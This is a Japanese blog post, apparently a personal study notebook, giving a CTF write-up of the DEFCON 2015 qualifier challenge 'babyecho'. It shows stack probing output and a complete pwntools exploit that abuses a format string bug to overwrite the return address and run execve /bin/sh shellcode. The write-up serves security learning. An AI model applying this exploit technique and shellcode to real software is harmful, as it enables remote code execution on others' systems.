1日ひとつだけ強くなる

おべんきょうのーと

DEFCON Qualifier 2015: babyecho

はじめに

2日かかったけど解けたので復習。最近はstrippedなバイナリ見てもとりあえず動かしてgdbでアタッチすればいいや〜ってなってきたし、radare2に食わせればちゃんと読める形にしてくれるので本当に感謝しかない。

ペースが保てていないが頑張る。

目次

$ file

babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

$ checksec

[*] ‘/home/ubuntu/writeup/bata/baby/babyecho/babyecho’ Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE

メモ

  • 入力処理にFSBがある
  • 入力できる長さはたったの13バイト
  • それ以上は13バイトごとで区切られて区切られた各終端の文字は'0x0a'で置き換えらえる
    • ‘AAAABBBBCCCCDDDD\n'を入力すると'AAAABBBBCCCC\n’ + ‘DDD\n'が得られた

exploit

まず、スタックの中身を確認してみた。後ろにあるのは後でスタックのindexを割り振ったメモ

$ python -c "print ''.join(['AAAA%' + str(i) + '\$p\n' for i in range(0,8)])
" | ./babyecho 
Reading 13 bytes  
AAAA0xd         --> 1  
Reading 13 bytes  
AAAA0xa         --> 2  
Reading 13 bytes  
AAAA(nil)       --> 3  
Reading 13 bytes  
AAAA0xd     --> 4(バッファの長さ)  
Reading 13 bytes  
AAAA0xffffcd3c  --> 5(入力バッファのアドレス)  
Reading 13 bytes  
AAAA(nil)       --> 6(サブルーチンのフラグ)  
Reading 13 bytes  
AAAA0x41414141  --> 7(入力バッファの中身) 

入力長が13バイト(0x0d)であったので、0x0dが格納されたバッファを探すと2つある。radare2で0x8048fb6を見てみると、'Reading %d bytes\n'の数値に対応してるのが[esp + 0x04]=[esp + 0x10]であることがわかり、確かに0x0dがmainの最初で代入されていることがわかる。

また、0x804902cを見てみると、[esp + 0x18]の値を0と比較してループを回しているのがわかる。

f:id:hal0taso:20170216230349p:plain

さて、攻撃

こんな感じ 1. バッファのアドレスを取得 2. 入力の最大長の値を上書き 3. リターンアドレスをシェルコードを入力したアドレスに移す&サブルーチンのフラグを書き換える 4. リターンアドレスはスタックの267番目

ここでバッファの最大長の値を書き換えるときに、入力が13バイトまで、というのをすっかり忘れていた。 数時間悩んだ末、writeupを読んで気づいた(バカ)

最終的にこうなった

from pwn import *
import sys
import time

def bp():
    raw_iput("Break point: ")

LOCAL = True
if len(sys.argv) > 1 and sys.argv[1] == "r":
    LOCAL = False

BIN = './babyecho'
e = ELF(BIN)
r = None

if LOCAL:
    r = remote('127.0.0.1', 40000)

def get_stack_addr(x, addr):
    return addr - 4*(7 - x)

# first, you should get stack addr
r.recvline()
r.sendline('%5$x')
input_buf = int(r.recvuntil('\n'), 16)


# calculate addr
max_len_buf = get_stack_addr(4, input_buf)
ret = get_stack_addr(267, input_buf)
flag = get_stack_addr(6, input_buf)

# 1st payload
r.recvline()
payload = "{addr}%{length}c%7$n".format(addr=p32(max_len_buf), length=99)

r.sendline(payload)
r.recv()

# 2nd payload
payload = "{addr}%{length}c%7$n".format(addr=p32(max_len_buf), length=9999)
r.sendline(payload)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"


buf = ''
buf += p32(flag)
buf += p32(ret)
buf += p32(ret+1)
buf += p32(ret+2)
buf += p32(ret+3)

ptr = input_buf + len(buf)
buf += shellcode


rtn = map(ord, p32(ptr))
# over write addr
rtn[3] = ((rtn[3] - rtn[2]) % 0x100) + 0x100
rtn[2] = ((rtn[2] - rtn[1]) % 0x100) + 0x100
rtn[1] = ((rtn[1] - rtn[0]) % 0x100) + 0x100
rtn[0] = ((rtn[0] - len(buf)) % 0x100) + 0x100

# print len(buf)

buf += '%7$hhn' 
buf += '%%%dd%%8$hhn' % rtn[0]
buf += '%%%dd%%9$hhn' % rtn[1]
buf += '%%%dd%%10$hhn' % rtn[2]
buf += '%%%dd%%11$hhn' % rtn[3]

r.sendline (buf)
r.interactive()